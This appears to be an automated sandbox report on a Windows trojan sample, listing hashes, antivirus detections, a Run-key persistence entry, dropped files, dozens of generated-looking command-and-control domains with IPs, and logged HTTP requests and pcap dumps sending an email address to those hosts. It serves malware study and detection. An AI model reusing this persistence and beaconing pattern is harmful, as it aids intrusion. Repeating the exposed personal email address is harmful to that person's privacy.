Analysis Date2015-08-29 16:05:16
MD5ca66c10667587bd77eac98171f6c4b5d
SHA1b54cb2244325cc43cdc01a9ff891024738f976ee

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: adc63fcb13edc75fa4cdc14a0e502286 sha1: 4613720a2566563fab229d20d316d712e7056eb8 size: 299008
Section.rdata md5: d4f0767eae66986f94230fa21e85d449 sha1: 82d2290c0e0ad8018d007935c142b1c69ef5c5b7 size: 33792
Section.data md5: c3b878f98e2a16a0d257c078b6468f2d sha1: a2a16665e2cbdda7428983e85f6d1633f45d4a86 size: 102912
Timestamp2014-10-30 10:05:08
PackerMicrosoft Visual C++ ?.?
PEhash474d6484fe0487c7cf09331a3f760c994ae7dafc
IMPhash3bf34d05474a77f49e60064ee3f80a32
AVCA (E-Trust Ino)no_virus
AVDr. Webno_virus
AVRisingno_virus
AVMcafeeTrojan-FEMT!CA66C1066758
AVAvira (antivir)BDS/Zegost.Gen4
AVTwisterTrojan.Agent.VNC.aanx.mg
AVAd-AwareGen:Variant.Symmi.22722
AVAlwil (avast)Kryptik-PJW [Trj]
AVEset (nod32)Win32/Agent.VNC
AVGrisoft (avg)Win32/Cryptor
AVSymantecDownloader.Upatre!g15
AVFortinetW32/Agent.VNC!tr
AVBitDefenderGen:Variant.Symmi.22722
AVK7Trojan ( 004cb2771 )
AVMicrosoft Security EssentialsTrojanSpy:Win32/Nivdort.BD
AVMicroWorld (escan)Gen:Variant.Symmi.22722
AVMalwareBytesTrojan.Zbot.WHE
AVAuthentiumW32/Wonton.B.gen!Eldorado
AVFrisk (f-prot)no_virus
AVIkarusTrojan.FBAccountLock
AVEmsisoftGen:Variant.Symmi.22722
AVZillya!no_virus
AVKasperskyTrojan.Win32.Generic
AVTrend MicroTROJ_FORUCON.BMC
AVCAT (quickheal)Trojan.Dynamer.AC3
AVVirusBlokAda (vba32)no_virus
AVPadvishno_virus
AVBullGuardGen:Variant.Symmi.22722
AVArcabit (arcavir)Gen:Variant.Symmi.22722
AVClamAVno_virus
AVF-SecureGen:Variant.Symmi.22722

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Desktop User-mode Video Resolution Font Play ➝
C:\Documents and Settings\Administrator\Application Data\atfyiqijllwtmgv\kbdfndi.exe
Creates FileC:\Documents and Settings\Administrator\Application Data\atfyiqijllwtmgv\kbdfndi.exe
Creates ProcessC:\Documents and Settings\Administrator\Application Data\atfyiqijllwtmgv\kbdfndi.exe

Process
↳ C:\Documents and Settings\Administrator\Application Data\atfyiqijllwtmgv\kbdfndi.exe

Creates FileC:\Documents and Settings\Administrator\Application Data\atfyiqijllwtmgv\wvlkqionw.exe
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Application Data\atfyiqijllwtmgv\kbdfndi.sm1hp
Creates ProcessWATCHDOGPROC "C:\Documents and Settings\Administrator\Application Data\atfyiqijllwtmgv\kbdfndi.exe"

Process
↳ WATCHDOGPROC "C:\Documents and Settings\Administrator\Application Data\atfyiqijllwtmgv\kbdfndi.exe"

Network Details:

DNSmightneighbor.net
Type: A
95.211.230.75
DNSdoublesquare.net
Type: A
68.65.123.178
DNSbrokensquare.net
Type: A
70.188.184.60
DNSbuildingmarket.net
Type: A
82.165.213.98
DNSbuildingreport.net
Type: A
184.106.55.51
DNSeveningreport.net
Type: A
210.55.30.67
DNSbuildingbeauty.net
Type: A
50.63.202.54
DNSstoremarket.net
Type: A
173.254.28.39
DNSstorereport.net
Type: A
50.194.159.145
DNSstoregarden.net
Type: A
46.30.212.240
DNSdoctormarket.net
Type: A
184.168.221.37
DNSdoctorreport.net
Type: A
204.11.56.48
DNSdoctorbeauty.net
Type: A
62.149.128.157
DNSdoctorbeauty.net
Type: A
62.149.128.160
DNSdoctorbeauty.net
Type: A
62.149.128.163
DNSdoctorbeauty.net
Type: A
62.149.128.166
DNSdoctorbeauty.net
Type: A
62.149.128.72
DNSdoctorbeauty.net
Type: A
62.149.128.74
DNSdoctorbeauty.net
Type: A
62.149.128.151
DNSdoctorbeauty.net
Type: A
62.149.128.154
DNShdredirect-lb-399551664.us-east-1.elb.amazonaws.com
Type: A
54.208.74.215
DNShdredirect-lb-399551664.us-east-1.elb.amazonaws.com
Type: A
54.174.31.254
DNSeveningspread.net
Type: A
DNSstoreattempt.net
Type: A
DNSmightattempt.net
Type: A
DNSstoresquare.net
Type: A
DNSmightsquare.net
Type: A
DNSstoreneighbor.net
Type: A
DNSstorespread.net
Type: A
DNSmightspread.net
Type: A
DNSdoctorattempt.net
Type: A
DNSprettyattempt.net
Type: A
DNSdoctorsquare.net
Type: A
DNSprettysquare.net
Type: A
DNSdoctorneighbor.net
Type: A
DNSprettyneighbor.net
Type: A
DNSdoctorspread.net
Type: A
DNSprettyspread.net
Type: A
DNSfellowattempt.net
Type: A
DNSdoubleattempt.net
Type: A
DNSfellowsquare.net
Type: A
DNSfellowneighbor.net
Type: A
DNSdoubleneighbor.net
Type: A
DNSfellowspread.net
Type: A
DNSdoublespread.net
Type: A
DNSbrokenattempt.net
Type: A
DNSresultattempt.net
Type: A
DNSresultsquare.net
Type: A
DNSbrokenneighbor.net
Type: A
DNSresultneighbor.net
Type: A
DNSbrokenspread.net
Type: A
DNSresultspread.net
Type: A
DNSprepareattempt.net
Type: A
DNSdesireattempt.net
Type: A
DNSpreparesquare.net
Type: A
DNSdesiresquare.net
Type: A
DNSprepareneighbor.net
Type: A
DNSdesireneighbor.net
Type: A
DNSpreparespread.net
Type: A
DNSdesirespread.net
Type: A
DNSstrengthattempt.net
Type: A
DNSstillattempt.net
Type: A
DNSstrengthsquare.net
Type: A
DNSstillsquare.net
Type: A
DNSstrengthneighbor.net
Type: A
DNSstillneighbor.net
Type: A
DNSstrengthspread.net
Type: A
DNSstillspread.net
Type: A
DNSmovementmarket.net
Type: A
DNSoutsidemarket.net
Type: A
DNSmovementreport.net
Type: A
DNSoutsidereport.net
Type: A
DNSmovementbeauty.net
Type: A
DNSoutsidebeauty.net
Type: A
DNSmovementgarden.net
Type: A
DNSoutsidegarden.net
Type: A
DNSeveningmarket.net
Type: A
DNSeveningbeauty.net
Type: A
DNSbuildinggarden.net
Type: A
DNSeveninggarden.net
Type: A
DNSmightmarket.net
Type: A
DNSmightreport.net
Type: A
DNSstorebeauty.net
Type: A
DNSmightbeauty.net
Type: A
DNSmightgarden.net
Type: A
DNSprettymarket.net
Type: A
DNSprettyreport.net
Type: A
DNSprettybeauty.net
Type: A
DNSdoctorgarden.net
Type: A
DNSprettygarden.net
Type: A
DNSfellowmarket.net
Type: A
DNSdoublemarket.net
Type: A
DNSfellowreport.net
Type: A
DNSdoublereport.net
Type: A
HTTP GEThttp://mightneighbor.net/index.php?email=mariana.turcu@agentiemetropolitanlife.ro&method=post&len
User-Agent:
HTTP GEThttp://doublesquare.net/index.php?email=mariana.turcu@agentiemetropolitanlife.ro&method=post&len
User-Agent:
HTTP GEThttp://brokensquare.net/index.php?email=mariana.turcu@agentiemetropolitanlife.ro&method=post&len
User-Agent:
HTTP GEThttp://buildingmarket.net/index.php?email=mariana.turcu@agentiemetropolitanlife.ro&method=post&len
User-Agent:
HTTP GEThttp://buildingreport.net/index.php?email=mariana.turcu@agentiemetropolitanlife.ro&method=post&len
User-Agent:
HTTP GEThttp://eveningreport.net/index.php?email=mariana.turcu@agentiemetropolitanlife.ro&method=post&len
User-Agent:
HTTP GEThttp://buildingbeauty.net/index.php?email=mariana.turcu@agentiemetropolitanlife.ro&method=post&len
User-Agent:
HTTP GEThttp://storemarket.net/index.php?email=mariana.turcu@agentiemetropolitanlife.ro&method=post&len
User-Agent:
HTTP GEThttp://storereport.net/index.php?email=mariana.turcu@agentiemetropolitanlife.ro&method=post&len
User-Agent:
HTTP GEThttp://storegarden.net/index.php?email=mariana.turcu@agentiemetropolitanlife.ro&method=post&len
User-Agent:
HTTP GEThttp://doctormarket.net/index.php?email=mariana.turcu@agentiemetropolitanlife.ro&method=post&len
User-Agent:
HTTP GEThttp://doctorreport.net/index.php?email=mariana.turcu@agentiemetropolitanlife.ro&method=post&len
User-Agent:
HTTP GEThttp://doctorbeauty.net/index.php?email=mariana.turcu@agentiemetropolitanlife.ro&method=post&len
User-Agent:
HTTP GEThttp://prettygarden.net/index.php?email=mariana.turcu@agentiemetropolitanlife.ro&method=post&len
User-Agent:
Flows TCP192.168.1.1:1031 ➝ 95.211.230.75:80
Flows TCP192.168.1.1:1032 ➝ 68.65.123.178:80
Flows TCP192.168.1.1:1033 ➝ 70.188.184.60:80
Flows TCP192.168.1.1:1034 ➝ 82.165.213.98:80
Flows TCP192.168.1.1:1035 ➝ 184.106.55.51:80
Flows TCP192.168.1.1:1036 ➝ 210.55.30.67:80
Flows TCP192.168.1.1:1037 ➝ 50.63.202.54:80
Flows TCP192.168.1.1:1038 ➝ 173.254.28.39:80
Flows TCP192.168.1.1:1039 ➝ 50.194.159.145:80
Flows TCP192.168.1.1:1040 ➝ 46.30.212.240:80
Flows TCP192.168.1.1:1041 ➝ 184.168.221.37:80
Flows TCP192.168.1.1:1042 ➝ 204.11.56.48:80
Flows TCP192.168.1.1:1043 ➝ 62.149.128.157:80
Flows TCP192.168.1.1:1044 ➝ 54.208.74.215:80

Raw Pcap
0x00000000 (00000)   47455420 2f696e64 65782e70 68703f65   GET /index.php?e
0x00000010 (00016)   6d61696c 3d6d6172 69616e61 2e747572   mail=mariana.tur
0x00000020 (00032)   63754061 67656e74 69656d65 74726f70   cu@agentiemetrop
0x00000030 (00048)   6f6c6974 616e6c69 66652e72 6f266d65   olitanlife.ro&me
0x00000040 (00064)   74686f64 3d706f73 74266c65 6e204854   thod=post&len HT
0x00000050 (00080)   54502f31 2e300d0a 41636365 70743a20   TP/1.0..Accept: 
0x00000060 (00096)   2a2f2a0d 0a436f6e 6e656374 696f6e3a   */*..Connection:
0x00000070 (00112)   20636c6f 73650d0a 486f7374 3a206d69    close..Host: mi
0x00000080 (00128)   6768746e 65696768 626f722e 6e65740d   ghtneighbor.net.
0x00000090 (00144)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f696e64 65782e70 68703f65   GET /index.php?e
0x00000010 (00016)   6d61696c 3d6d6172 69616e61 2e747572   mail=mariana.tur
0x00000020 (00032)   63754061 67656e74 69656d65 74726f70   cu@agentiemetrop
0x00000030 (00048)   6f6c6974 616e6c69 66652e72 6f266d65   olitanlife.ro&me
0x00000040 (00064)   74686f64 3d706f73 74266c65 6e204854   thod=post&len HT
0x00000050 (00080)   54502f31 2e300d0a 41636365 70743a20   TP/1.0..Accept: 
0x00000060 (00096)   2a2f2a0d 0a436f6e 6e656374 696f6e3a   */*..Connection:
0x00000070 (00112)   20636c6f 73650d0a 486f7374 3a20646f    close..Host: do
0x00000080 (00128)   75626c65 73717561 72652e6e 65740d0a   ublesquare.net..
0x00000090 (00144)   0d0a0a                                ...

0x00000000 (00000)   47455420 2f696e64 65782e70 68703f65   GET /index.php?e
0x00000010 (00016)   6d61696c 3d6d6172 69616e61 2e747572   mail=mariana.tur
0x00000020 (00032)   63754061 67656e74 69656d65 74726f70   cu@agentiemetrop
0x00000030 (00048)   6f6c6974 616e6c69 66652e72 6f266d65   olitanlife.ro&me
0x00000040 (00064)   74686f64 3d706f73 74266c65 6e204854   thod=post&len HT
0x00000050 (00080)   54502f31 2e300d0a 41636365 70743a20   TP/1.0..Accept: 
0x00000060 (00096)   2a2f2a0d 0a436f6e 6e656374 696f6e3a   */*..Connection:
0x00000070 (00112)   20636c6f 73650d0a 486f7374 3a206272    close..Host: br
0x00000080 (00128)   6f6b656e 73717561 72652e6e 65740d0a   okensquare.net..
0x00000090 (00144)   0d0a0a                                ...

0x00000000 (00000)   47455420 2f696e64 65782e70 68703f65   GET /index.php?e
0x00000010 (00016)   6d61696c 3d6d6172 69616e61 2e747572   mail=mariana.tur
0x00000020 (00032)   63754061 67656e74 69656d65 74726f70   cu@agentiemetrop
0x00000030 (00048)   6f6c6974 616e6c69 66652e72 6f266d65   olitanlife.ro&me
0x00000040 (00064)   74686f64 3d706f73 74266c65 6e204854   thod=post&len HT
0x00000050 (00080)   54502f31 2e300d0a 41636365 70743a20   TP/1.0..Accept: 
0x00000060 (00096)   2a2f2a0d 0a436f6e 6e656374 696f6e3a   */*..Connection:
0x00000070 (00112)   20636c6f 73650d0a 486f7374 3a206275    close..Host: bu
0x00000080 (00128)   696c6469 6e676d61 726b6574 2e6e6574   ildingmarket.net
0x00000090 (00144)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f696e64 65782e70 68703f65   GET /index.php?e
0x00000010 (00016)   6d61696c 3d6d6172 69616e61 2e747572   mail=mariana.tur
0x00000020 (00032)   63754061 67656e74 69656d65 74726f70   cu@agentiemetrop
0x00000030 (00048)   6f6c6974 616e6c69 66652e72 6f266d65   olitanlife.ro&me
0x00000040 (00064)   74686f64 3d706f73 74266c65 6e204854   thod=post&len HT
0x00000050 (00080)   54502f31 2e300d0a 41636365 70743a20   TP/1.0..Accept: 
0x00000060 (00096)   2a2f2a0d 0a436f6e 6e656374 696f6e3a   */*..Connection:
0x00000070 (00112)   20636c6f 73650d0a 486f7374 3a206275    close..Host: bu
0x00000080 (00128)   696c6469 6e677265 706f7274 2e6e6574   ildingreport.net
0x00000090 (00144)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f696e64 65782e70 68703f65   GET /index.php?e
0x00000010 (00016)   6d61696c 3d6d6172 69616e61 2e747572   mail=mariana.tur
0x00000020 (00032)   63754061 67656e74 69656d65 74726f70   cu@agentiemetrop
0x00000030 (00048)   6f6c6974 616e6c69 66652e72 6f266d65   olitanlife.ro&me
0x00000040 (00064)   74686f64 3d706f73 74266c65 6e204854   thod=post&len HT
0x00000050 (00080)   54502f31 2e300d0a 41636365 70743a20   TP/1.0..Accept: 
0x00000060 (00096)   2a2f2a0d 0a436f6e 6e656374 696f6e3a   */*..Connection:
0x00000070 (00112)   20636c6f 73650d0a 486f7374 3a206576    close..Host: ev
0x00000080 (00128)   656e696e 67726570 6f72742e 6e65740d   eningreport.net.
0x00000090 (00144)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f696e64 65782e70 68703f65   GET /index.php?e
0x00000010 (00016)   6d61696c 3d6d6172 69616e61 2e747572   mail=mariana.tur
0x00000020 (00032)   63754061 67656e74 69656d65 74726f70   cu@agentiemetrop
0x00000030 (00048)   6f6c6974 616e6c69 66652e72 6f266d65   olitanlife.ro&me
0x00000040 (00064)   74686f64 3d706f73 74266c65 6e204854   thod=post&len HT
0x00000050 (00080)   54502f31 2e300d0a 41636365 70743a20   TP/1.0..Accept: 
0x00000060 (00096)   2a2f2a0d 0a436f6e 6e656374 696f6e3a   */*..Connection:
0x00000070 (00112)   20636c6f 73650d0a 486f7374 3a206275    close..Host: bu
0x00000080 (00128)   696c6469 6e676265 61757479 2e6e6574   ildingbeauty.net
0x00000090 (00144)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f696e64 65782e70 68703f65   GET /index.php?e
0x00000010 (00016)   6d61696c 3d6d6172 69616e61 2e747572   mail=mariana.tur
0x00000020 (00032)   63754061 67656e74 69656d65 74726f70   cu@agentiemetrop
0x00000030 (00048)   6f6c6974 616e6c69 66652e72 6f266d65   olitanlife.ro&me
0x00000040 (00064)   74686f64 3d706f73 74266c65 6e204854   thod=post&len HT
0x00000050 (00080)   54502f31 2e300d0a 41636365 70743a20   TP/1.0..Accept: 
0x00000060 (00096)   2a2f2a0d 0a436f6e 6e656374 696f6e3a   */*..Connection:
0x00000070 (00112)   20636c6f 73650d0a 486f7374 3a207374    close..Host: st
0x00000080 (00128)   6f72656d 61726b65 742e6e65 740d0a0d   oremarket.net...
0x00000090 (00144)   0a0a0d0a                              ....

0x00000000 (00000)   47455420 2f696e64 65782e70 68703f65   GET /index.php?e
0x00000010 (00016)   6d61696c 3d6d6172 69616e61 2e747572   mail=mariana.tur
0x00000020 (00032)   63754061 67656e74 69656d65 74726f70   cu@agentiemetrop
0x00000030 (00048)   6f6c6974 616e6c69 66652e72 6f266d65   olitanlife.ro&me
0x00000040 (00064)   74686f64 3d706f73 74266c65 6e204854   thod=post&len HT
0x00000050 (00080)   54502f31 2e300d0a 41636365 70743a20   TP/1.0..Accept: 
0x00000060 (00096)   2a2f2a0d 0a436f6e 6e656374 696f6e3a   */*..Connection:
0x00000070 (00112)   20636c6f 73650d0a 486f7374 3a207374    close..Host: st
0x00000080 (00128)   6f726572 65706f72 742e6e65 740d0a0d   orereport.net...
0x00000090 (00144)   0a0a0d0a                              ....

0x00000000 (00000)   47455420 2f696e64 65782e70 68703f65   GET /index.php?e
0x00000010 (00016)   6d61696c 3d6d6172 69616e61 2e747572   mail=mariana.tur
0x00000020 (00032)   63754061 67656e74 69656d65 74726f70   cu@agentiemetrop
0x00000030 (00048)   6f6c6974 616e6c69 66652e72 6f266d65   olitanlife.ro&me
0x00000040 (00064)   74686f64 3d706f73 74266c65 6e204854   thod=post&len HT
0x00000050 (00080)   54502f31 2e300d0a 41636365 70743a20   TP/1.0..Accept: 
0x00000060 (00096)   2a2f2a0d 0a436f6e 6e656374 696f6e3a   */*..Connection:
0x00000070 (00112)   20636c6f 73650d0a 486f7374 3a207374    close..Host: st
0x00000080 (00128)   6f726567 61726465 6e2e6e65 740d0a0d   oregarden.net...
0x00000090 (00144)   0a0a0d0a                              ....

0x00000000 (00000)   47455420 2f696e64 65782e70 68703f65   GET /index.php?e
0x00000010 (00016)   6d61696c 3d6d6172 69616e61 2e747572   mail=mariana.tur
0x00000020 (00032)   63754061 67656e74 69656d65 74726f70   cu@agentiemetrop
0x00000030 (00048)   6f6c6974 616e6c69 66652e72 6f266d65   olitanlife.ro&me
0x00000040 (00064)   74686f64 3d706f73 74266c65 6e204854   thod=post&len HT
0x00000050 (00080)   54502f31 2e300d0a 41636365 70743a20   TP/1.0..Accept: 
0x00000060 (00096)   2a2f2a0d 0a436f6e 6e656374 696f6e3a   */*..Connection:
0x00000070 (00112)   20636c6f 73650d0a 486f7374 3a20646f    close..Host: do
0x00000080 (00128)   63746f72 6d61726b 65742e6e 65740d0a   ctormarket.net..
0x00000090 (00144)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f696e64 65782e70 68703f65   GET /index.php?e
0x00000010 (00016)   6d61696c 3d6d6172 69616e61 2e747572   mail=mariana.tur
0x00000020 (00032)   63754061 67656e74 69656d65 74726f70   cu@agentiemetrop
0x00000030 (00048)   6f6c6974 616e6c69 66652e72 6f266d65   olitanlife.ro&me
0x00000040 (00064)   74686f64 3d706f73 74266c65 6e204854   thod=post&len HT
0x00000050 (00080)   54502f31 2e300d0a 41636365 70743a20   TP/1.0..Accept: 
0x00000060 (00096)   2a2f2a0d 0a436f6e 6e656374 696f6e3a   */*..Connection:
0x00000070 (00112)   20636c6f 73650d0a 486f7374 3a20646f    close..Host: do
0x00000080 (00128)   63746f72 7265706f 72742e6e 65740d0a   ctorreport.net..
0x00000090 (00144)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f696e64 65782e70 68703f65   GET /index.php?e
0x00000010 (00016)   6d61696c 3d6d6172 69616e61 2e747572   mail=mariana.tur
0x00000020 (00032)   63754061 67656e74 69656d65 74726f70   cu@agentiemetrop
0x00000030 (00048)   6f6c6974 616e6c69 66652e72 6f266d65   olitanlife.ro&me
0x00000040 (00064)   74686f64 3d706f73 74266c65 6e204854   thod=post&len HT
0x00000050 (00080)   54502f31 2e300d0a 41636365 70743a20   TP/1.0..Accept: 
0x00000060 (00096)   2a2f2a0d 0a436f6e 6e656374 696f6e3a   */*..Connection:
0x00000070 (00112)   20636c6f 73650d0a 486f7374 3a20646f    close..Host: do
0x00000080 (00128)   63746f72 62656175 74792e6e 65740d0a   ctorbeauty.net..
0x00000090 (00144)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f696e64 65782e70 68703f65   GET /index.php?e
0x00000010 (00016)   6d61696c 3d6d6172 69616e61 2e747572   mail=mariana.tur
0x00000020 (00032)   63754061 67656e74 69656d65 74726f70   cu@agentiemetrop
0x00000030 (00048)   6f6c6974 616e6c69 66652e72 6f266d65   olitanlife.ro&me
0x00000040 (00064)   74686f64 3d706f73 74266c65 6e204854   thod=post&len HT
0x00000050 (00080)   54502f31 2e300d0a 41636365 70743a20   TP/1.0..Accept: 
0x00000060 (00096)   2a2f2a0d 0a436f6e 6e656374 696f6e3a   */*..Connection:
0x00000070 (00112)   20636c6f 73650d0a 486f7374 3a207072    close..Host: pr
0x00000080 (00128)   65747479 67617264 656e2e6e 65740d0a   ettygarden.net..
0x00000090 (00144)   0d0a0d0a                              ....


Strings